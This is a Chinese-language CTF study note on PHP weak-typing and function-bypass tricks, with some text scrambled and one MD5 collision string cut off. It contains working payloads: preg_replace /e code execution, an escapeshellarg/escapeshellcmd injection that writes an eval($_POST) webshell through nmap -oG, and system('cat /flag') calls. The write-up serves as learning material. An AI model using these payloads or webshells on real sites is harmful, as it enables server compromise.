前言:
做web題時經常會遇到各種php弱類型和一些函數的繞過方法,由于知識比較零碎,就總結一下我所遇到的,也友善自己以後觀看。
0x00:弱類型介紹:
弱類型是可以随意轉換變量的類型,也就是說php并不會驗證變量的類型,可以随時的轉換類型,雖然提升了效率,但是引發了很多安全問題。
0x01:Hash比較缺陷
簡單介紹:
在處理哈希字元串時,通過
PHP
或
!=
來對哈希值進行比較,它把每一個以
==
開頭的哈希值都解釋為
0e
,是以如果兩個不同的密碼經過哈希以後,其哈希值都是以
0
開頭的,那麼
0e
将會認為他們相同,都是
PHP
0
具體執行個體:

審計代碼,我們輸入的不能相等,但
md5
卻需要相等,這明顯的就是利用
Hash
的比較缺陷來做
我們隻要找出兩個數再
md5
加密後都為
0e
開頭的即可,常用的有以下幾種
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
是以構造
a=QNKCDZO&b=s878926199a
即可繞過
0x02:extract變量覆寫
extract()
函數使用數組鍵名作為變量名,使用數組鍵值作為變量值,當變量中有同名的元素時,該函數預設将原有的值給覆寫掉。這就造成了變量覆寫
POST
方法傳輸進來的值通過
extrace()
函數處理,我們不知道
pass
、
thepassword_123
的值,直接傳入以
POST
的方式傳入
pass=1&thepassword_123=1
就可以進行将原本的變量覆寫,并且使兩個變量相等即可。
0x03:ereg正則%00截斷及strpos、ereg用數組傳回NULL
函數搜尋由指定的字元串作為由模式指定的字元串,如果發現模式則傳回
ereg()
,否則傳回
true
false
,搜尋對于字母字元是區分大小寫的,用于正規表達式比對。
一、
函數存在
ereg()
截斷漏洞,可以
NULL
截斷,遇到
%00
%00
則預設為字元串的結束,是以可以繞過一些正規表達式的檢查。
二、
隻能處理字元串的,遇到數組做參數傳回
ereg()
NULL
。
三、空字元串的類型是
,
string
的類型是
NULL
,
NULL
是
false、true
boolean
類型
四、
函數如果傳入數組,便會傳回
strpos()
NULL
這道題也涉及了
===
和
!==
,不了解的可以去官方文檔檢視一下:
審計一下代碼,第一個
if
語句要求我們輸入的值進行首尾比對必須是
1-9
之間的數字,第二個if語句又讓我們利用
strpos()
函數查找相應的字元串在輸入的值中第一次出現的位置,且後面是
!==
,是以要不讓值相等類型不同,或是值不同類型相同即可。
但
strpos()
NULL
。利用這個漏洞,便可以構造出繞過的
payload
:
?nctf[]=1
ereg()
函數傳回NULL,
===
判斷NULL和FALSE是不相等的(類型不同),是以進入第二個語句,因為
strpos
處理數組時,也是傳回NULL,又因為
NULL!==FALSE
條件成立是以得出flag
除此之外,還可以構造利用
%00
來構造
payload:
?nctf=123%00%23biubiubiu
0x04:strcmp比較字元串
函數比較兩個字元串(區分大小寫),定義中是比較字元串類型的,但如果輸入其他類型這個函數将發生錯誤,在官方文檔的說明中說到在
strcmp()
版本之前,利用
php 5.2
函數将數組與字元串進行比較會傳回
strcmp
,但是從
-1
開始,會傳回
5.3
0
具體執行個體:
審計代碼,很簡單關鍵就在于我們如何繞過檢查,構造如下
payload
#POST DATA
pass[]=1
數組和字元進行比較結果不會傳回
1
,即為
false
,加上非的作用,即可變成
true
,則滿足條件
0x05:SESSION驗證繞過
在PHP配置中的預設情況下,是用Session ID來确定目前對話所對應的伺服器Session,sessionID可在
Session
中找到,當我們删除cookie中的sessionID後,
cookie
就會傳回空,我們同樣傳入空的password就能繞過了
$_SESSION[‘password’]
觀察代碼發現需要我們GET傳入的
password
和session中存儲的
password
相同才可以得出flag,如果删掉
session
值,或者修改session值為一個不存在的session,伺服器擷取不到session,則
password
為空,這時候我們再GET進去一個空的
password
的進去拿到flag
0x06: sha()函數比較繞過、md5()函數繞過
函數擷取不到數組的值,預設數組為0
md5()
函數無法處理數組類型,将報錯并傳回false
sha1()
如果知道了
sha1()
函數不能處理數組,那這道題将非常好做,構造payload:
name[]=1&password[]=2
注意這裡是
===
,不是
==
,是以這裡采用
md5()
函數擷取不到數組的值,預設數組為0這個特性來做,payload:
username[]=1&password[]=2
0x07:十六進制與數字比較
php在轉碼時會把16進制轉化為十進制
payload:
?password=0xdeadc0de
0x08: preg_replace /e 模式下的代碼執行
preg_replace:(PHP 5.5)
功能 : 函數執行一個正規表達式的搜尋和替換
定義 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
搜尋 subject 中比對 pattern 的部分, 如果比對成功以 replacement 進行替換
$pattern 存在 /e 模式修正符,允許代碼執行
/e 模式修正符,是 preg_replace() 将 $replacement 當做php代碼來執行
ZJCTF,不過如此
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
這裡的代碼便涉及到了preg_replace /e 模式下的代碼執行,原理的話師傅講的很明白,這裡不再叙述
https://xz.aliyun.com/t/2557
直接放payload:
\S*=${phpinfo()}
得到flag
?\S*=${eval(getFlag())}&cmd=system('cat /flag');
#最後的分号要加,除此之外,也可以:
?\S*=${eval($_POST[lemon])}
#POST DATA
lemon=system('cat /flag');
0x09:繞過escapeshellarg+escapeshellcmd函數
原理分析:
模仿師傅的例子進行學習
談談escapeshellarg參數繞過和注入的問題
escapeshellarg
escapeshellarg() 将給字元串增加一個單引号并且能引用或者轉碼任何已經存在的單引号,這樣以確定能夠直接将一個字元串傳入shell 函數,并且還是確定安全的。
escapeshellcmd
escapeshellcmd() 對字元串中可能會欺騙 shell 指令執行任意指令的字元進行轉義。反斜線(\)會在以下字元之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 僅在不配對兒的時候被轉義。 在 Windows 平台上,所有這些字元以及 % 和 ! 字元都會被空格代替。
先通過例子來檢視一下escapeshellarg函數的作用吧
<?php
var_dump(escapeshellarg("123"));
var_dump(escapeshellarg("12' 3"));
?>
在解析單引号的時候 , 被單引号包裹的内容中如果有變量 , 這個變量名是不會被解析成值的,但是雙引号不同 , bash 會将變量名解析成變量的值再使用。
是以即使參數用了 escapeshellarg 函數過濾單引号,但參數在拼接指令的時候如果用了雙引号的話還是會導緻指令執行的漏洞。
再來看一下escapeshellcmd 函數的作用
兩個函數都會對單引号進行處理,但是有差別的,如下:
對于單個單引号, escapeshellarg 函數轉義後,還會在左右各加一個單引号,但 escapeshellcmd 函數是直接加一個轉義符,對于成對的單引号, escapeshellcmd 函數預設不轉義,但 escapeshellarg 函數轉義
那既然有這個差異,如果escapeshellcmd() 和 escapeshellarg() 一起出現會有什麼問題
測試
結果
分析
一開始傳入的參數
127.0.0.1' -v -d a=1
經過escapeshellarg函數處理,先轉義再用單引号括起來
'127.0.0.1'\'' -v -d a=1'
再經過escapeshellcmd函數處理,數中的\以及a=1'中的單引号進行處理轉義
'127.0.0.1'\\'' -v -d a=1\'
由于這一步的處理,使得\\被解釋成了\而不再是轉義字元,是以單引号配對連接配接之後将語句分割為三個部分
是以最後system函數是對
127.0.0.1\
發起請求,POST 資料為
a=1'
,如果兩個函數翻過來則不會出現這個問題
接下來就通過一個題目來實踐一下:
Online Tool
代碼中是先使用了escapeshellarg函數,再使用escapeshellcmd函數便會引發上面的問題,再來仔細觀察一下代碼,發現
mkdir\chadir
函數,建立目錄和改變目前的目錄,應該是要我們寫檔案進去的,
system()
函數又是一串namp指令後面拼接上GET傳入的參數,因為參數經過了上面的參數處理,
;
等都會被轉義,是以就要從拼接的namp指令想辦法了,查了百度谷歌沒查到,看了WP才知道
nmap指令中 參數 -oG
可以實作将指令和結果寫到檔案(也就是可以寫木馬)
接下來就寫payload,
escapeshellarg
函數會先對host變量中的單引号進行轉義,并且轉義之後,在
\'
的左右兩邊再加上單引号,變成
'\''
然後
escapeshellcmd
函數,會對host變量中的特殊字元進行轉義
(&#;`|*?~<>^()[]{}$, \x0A//和\xFF以及不配對的單/雙引号轉義)
那麼上面的
\
就會被再次轉義,比如變成
'\\''
如果在字元串首尾加上單引号,經過
escapeshellarg
函數之後,就可以實作将單引号給閉合了,在經過
escapeshellcmd
函數的時候單引号就是配對的,就不會進行轉義
如:
' lemon shy '
escapeshellarg:''\'' lemon shy ''\''
escapeshellcmd: ''\\'' lemon shy ''\\''
這樣就很好了解了,那就會可以實作單引号的逃逸了,接下來就來測試payload:
' <?php phpinfo();?> -oG 1.php'
如果最後的單引号是沒有空格,則檔案名後面就會多出\\,是以後面要加上空格
前面加空格不加則無影響,因為不會影響到一句話木馬裡面的内容
但還有一個問題,escapeshellcmd會把一句話木馬中的一些字元給轉義的,又該怎麼辦,測試一下在本地傳一下發現雖然看起來轉義了,但寫入的話還是沒有被轉義的。
是以最終的payload:
' <?php @eval($_POST["a"]);?> -oG 1.php '
或
'<?php @eval($_POST["a"]);?> -oG 1.php '
建立的目錄也出來了,寫的一句話木馬檔案在該目錄下,連接配接一下
也可以傳一個GET進去,調用system函數
' <?php @eval($_GET["a"]);?> -oG 2.php '
http://e5b384ba-6852-4e3f-9060-c66dc267e554.node3.buuoj.cn/8f9395193b358d86a100d2fd1f0349a2/2.php?a=system('cat /flag');
0x10:md5強類型
(string)$_POST['a1']!==(string)$_POST['a2']
&& md5($_POST['a1'])===md5($_POST['a2'])}
例如這段代碼,使用數組就不可行,因為最後轉為字元串進行比較,是以隻能構造兩個MD5值相同的不同字元串.
兩組經過url編碼後的值
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
0x11:PHP精度繞過缺陷
幾次都碰到這個點,記錄一下,省的以後忘了再去查
浮點運算的坑
在用PHP進行浮點數的運算中,經常會出現一些和預期結果不一樣的值,先來看個小例子
輸出的是57,而我們預想的應該是58
具體詳細的原理可以看這位師傅的描述
http://www.haodaquan.com/12
簡單的說因為PHP 通常使用 IEEE 754 雙精度格式而且由于浮點數的精度有限的原因。除此之外取整而導緻的最大相對誤差為
1.11e-16
,當小數小于
10^-16
後,PHP對于小數就大小不分了,如下圖:
easytrick
2020Ciscn初賽就考察到了這一點,前面總結過了,這裡就不在叙述了